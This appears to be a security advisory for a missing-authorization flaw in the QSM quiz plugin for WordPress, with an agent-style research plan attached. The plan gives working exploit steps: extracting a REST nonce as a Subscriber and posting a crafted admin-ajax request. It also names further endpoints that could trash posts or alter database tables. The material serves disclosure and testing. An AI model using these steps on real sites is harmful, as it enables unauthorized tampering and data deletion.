Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker <= 10.3.4 - Missing Authorization
Description
The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 10.3.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=10.3.4What Changed in the Fix
Changes introduced in v10.3.5
Source Code
WordPress.org SVNThis research plan targets a missing authorization vulnerability in **Quiz and Survey Master (QSM) <= 10.3.4**. Specifically, it exploits the `enable_multiple_categories` AJAX action, which lacks a capability check and incorrectly relies on the generic `wp_rest` nonce, making it accessible to any au…
Show full research plan
This research plan targets a missing authorization vulnerability in Quiz and Survey Master (QSM) <= 10.3.4. Specifically, it exploits the enable_multiple_categories AJAX action, which lacks a capability check and incorrectly relies on the generic wp_rest nonce, making it accessible to any authenticated user, including those with Subscriber roles.
1. Vulnerability Summary
- Vulnerability: Missing Authorization.
- Vulnerable Function:
QSM_Migrate::enable_multiple_categories. - File Path:
php/classes/class-qsm-migrate.php. - Root Cause: The function verifies a nonce (
wp_rest) and checksis_admin(). However,is_admin()only checks if the current request is for an admin screen (which includesadmin-ajax.php) and is not a capability check. Nocurrent_user_can()check is performed, allowing any authenticated user to modify plugin settings or trigger database operations.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php. - Action:
enable_multiple_categories. - Method:
POST. - Authentication: Required (Subscriber or higher).
- Required Parameter:
nonce(must be a validwp_restnonce). - Payload Parameter:
value=cancel(to modify theqsm_multiple_category_enabledoption).
3. Code Flow
- Entry Point:
wp-admin/admin-ajax.phpreceives a request withaction=enable_multiple_categories. - Hook Registration:
QSM_Migrate::__construct(inphp/classes/class-qsm-migrate.php) registers the action:add_action( 'wp_ajax_enable_multiple_categories', array( $this, 'enable_multiple_categories' ) );. - Vulnerable Function Call:
enable_multiple_categories()is executed. - Insufficient Verification:
- It checks
$_POST['nonce']against'wp_rest'. Any logged-in user can obtain awp_restnonce as it is used by the standard WordPress REST API. - It does not check for a specific capability (e.g.,
manage_options).
- It checks
- Sink: If
$_POST['value']is'cancel', it executes:update_option( 'qsm_multiple_category_enabled', 'cancelled' );.
4. Nonce Acquisition Strategy
The endpoint requires a wp_rest nonce. WordPress typically localizes this for the REST API in the admin dashboard.
- Identify Trigger: The
wp_restnonce is standard for any user logged into the WordPress dashboard. - Navigation: Navigate to a standard admin page accessible to Subscribers, such as
wp-admin/profile.php. - Extraction: Use
browser_evalto extract the nonce from thewpApiSettingsglobal object or thewp-api-js-extrascript block.- JS Command:
window.wpApiSettings?.nonceorwindow._wpnonce.
- JS Command:
5. Exploitation Strategy
- Authentication: Log in as a Subscriber.
- Nonce Retrieval: Navigate to
/wp-admin/profile.phpand executebrowser_eval("window.wpApiSettings.nonce")to get thewp_restnonce. - Execute Payload: Send a POST request to
/wp-admin/admin-ajax.phpusing thehttp_requesttool.- Headers:
Content-Type: application/x-www-form-urlencoded. - Body:
action=enable_multiple_categories&nonce=[EXTRACTED_NONCE]&value=cancel.
- Headers:
- Alternative (High Impact): If a
qmn_failed_submissionnonce is discovered (check localized scripts inwp-admin/admin.php?page=mlw_quizmaster_results), the same logic can be applied toqsm_action_failed_submission_tableto trash arbitrary posts.
6. Test Data Setup
- Plugin Configuration: Ensure the plugin is active and configured.
- Initial State: Ensure the option
qsm_multiple_category_enabledis NOT set to'cancelled'.wp option update qsm_multiple_category_enabled 0
- User Creation: Create a subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
7. Expected Results
- The AJAX request should return a JSON success response:
{"success":true}. - The WordPress option
qsm_multiple_category_enabledwill be updated to the string'cancelled'.
8. Verification Steps
- WP-CLI Check: Verify the option value after the exploit.
wp option get qsm_multiple_category_enabled- Expected Output:
cancelled.
- Audit Logs: If audit logging is active, check for the unauthorized change.
9. Alternative Approaches
If the wp_rest nonce is not easily found:
- REST API Discovery: Check
/wp-json/headers for aX-WP-Nonce. - Other vulnerable endpoints:
qsm_check_fix_db(action) using nonceqmn_check_db.qsm_action_failed_submission_table(action) using nonceqmn_failed_submission.
These also lack capability checks inclass-qmn-quiz-manager.php. If a Subscriber can access a page where these nonces are localized (viawp_localize_script), they can exploit these endpoints to trigger SQL (ALTER TABLE) or trash posts.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.